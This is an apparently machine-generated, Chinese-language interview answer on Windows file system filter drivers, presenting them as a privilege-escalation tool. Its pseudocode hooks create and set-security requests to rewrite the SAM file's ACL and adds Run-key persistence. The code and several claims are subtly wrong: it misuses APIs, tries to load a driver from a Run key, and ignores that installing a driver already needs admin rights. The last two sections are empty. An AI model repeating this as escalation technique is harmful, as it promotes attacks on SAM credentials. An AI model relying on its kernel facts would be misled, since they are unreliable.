
1) 【一句话结论】:Windows文件系统过滤驱动(FSD)通过插入文件系统栈拦截文件I/O请求(IRP),利用内核级权限控制文件访问,可修改系统关键文件的访问控制列表(ACL),实现低权限用户向高权限用户的权限提升。
2) 【原理/概念讲解】:文件系统过滤驱动是Windows内核模式驱动,属于文件系统组件,工作在内核空间。它不直接处理文件数据,而是插入到文件系统栈中,拦截并处理I/O请求包(IRP)。当用户进程发起文件操作(如打开、创建、读取文件)时,IRP会从用户模式传递到内核模式,经过文件系统栈的各个组件(如NTFS驱动、过滤驱动等)。过滤驱动通过注册IRP处理函数,在栈中插入自己的处理逻辑。关键点:插入栈的优先级由IRP栈顺序或注册表中的Priority值决定,优先级高的驱动先处理IRP。类比:文件系统栈就像生产流水线,每个环节(文件系统组件)处理订单,过滤驱动是中间的“质检员”,拦截订单检查内容,必要时修改再传递。
3) 【对比与适用场景】:
| 对比项 | 文件系统过滤驱动(FSD) | 设备驱动(如网卡驱动) |
|---|---|---|
| 定义 | 插入文件系统栈,拦截文件I/O请求的驱动 | 处理硬件设备I/O的驱动 |
| 工作原理 | 处理IRP_MJ_文件操作(如Create、Read、SetSecurityInfo等) | 处理IRP_MJ_DEVICE_CONTROL等硬件相关IRP |
| 权限级别 | 需要系统权限(SYSTEM),操作内核文件系统数据 | 通常需要设备权限,权限低于FSD |
| 典型用途 | 修改文件访问控制、实现权限提升、文件监控 | 硬件设备通信、数据传输 |
| 注意点 | 需正确处理IRP栈,避免破坏文件系统稳定性 | 需正确处理硬件中断,确保设备正常工作 |
4) 【示例】:最小可运行提权示例(伪代码,包含拦截两种IRP类型及持久化):
// 拦截IRP_MJ_CREATE修改SAM ACL
NTSTATUS MyFilterDriver::IRP_MJ_CREATE(...) {
if (IsCriticalFile(Irp->Parameters.Create.FileObject->FileName)) {
NTSTATUS status = NtSetInformationFile(
Irp->Parameters.Create.FileObject->FileObject,
NULL,
FileInformationClass::FileSecurityInformation,
&newSecurityDescriptor,
sizeof(newSecurityDescriptor)
);
if (!NT_SUCCESS(status)) return status;
return IoCompleteRequest(Irp, IO_NO_INCREMENT);
}
return IoCallDriver(FsDriver, Irp);
}
// 拦截IRP_MJ_SET_SECURITY_INFORMATION修改SAM ACL
NTSTATUS MyFilterDriver::IRP_MJ_SET_SECURITY_INFORMATION(...) {
if (IsCriticalFile(Irp->Parameters.SetSecurityInformation.FileObject->FileName)) {
NTSTATUS status = NtSetInformationFile(
Irp->Parameters.SetSecurityInformation.FileObject->FileObject,
NULL,
FileInformationClass::FileSecurityInformation,
&newSecurityDescriptor,
sizeof(newSecurityDescriptor)
);
if (!NT_SUCCESS(status)) return status;
return IoCompleteRequest(Irp, IO_NO_INCREMENT);
}
return IoCallDriver(FsDriver, Irp);
}
// 检查关键文件路径
bool MyFilterDriver::IsCriticalFile(PUNICODE_STRING fileName) {
return CompareUnicodeString(fileName, L"C:\\Windows\\System32\\config\\SAM");
}
// 持久化:注册表启动项
void MyFilterDriver::InstallPersistence() {
HKEY hKey;
RegCreateKeyEx(HKEY_LOCAL_MACHINE,
L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
NULL,
0,
KEY_WRITE,
NULL,
&hKey,
NULL);
if (hKey) {
RegSetValueEx(hKey, L"MyFilterDriver", 0, REG_SZ, (const BYTE*)L"\"C:\\Windows\\System32\\MyFilter.sys\"", strlen(L"\"C:\\Windows\\System32\\MyFilter.sys\") + 1);
RegCloseKey(hKey);
}
}
5) 【面试口播版答案】:您好,关于Windows文件系统过滤驱动(FSD)的工作原理及权限提升,核心是它通过插入文件系统栈拦截文件I/O请求(IRP),利用内核级权限控制文件访问。具体来说,FSD属于内核模式驱动,插入到文件系统栈中,当用户进程发起文件操作(如打开、创建文件)时,IRP会经过栈中各个组件,过滤驱动会拦截并处理这些请求。利用这个特性,可以修改系统关键文件的访问控制列表(ACL),比如拦截创建系统账号管理文件(SAM)的请求,或者拦截修改其安全信息的请求,调用内核API(如NtSetInformationFile)修改ACL,将低权限用户的访问权限提升为管理员权限,从而实现提权。总结来说,FSD通过拦截文件操作并修改内核数据(ACL),绕过用户模式的权限限制,实现权限提升。
6) 【追问清单】:
7) 【常见坑/雷区】: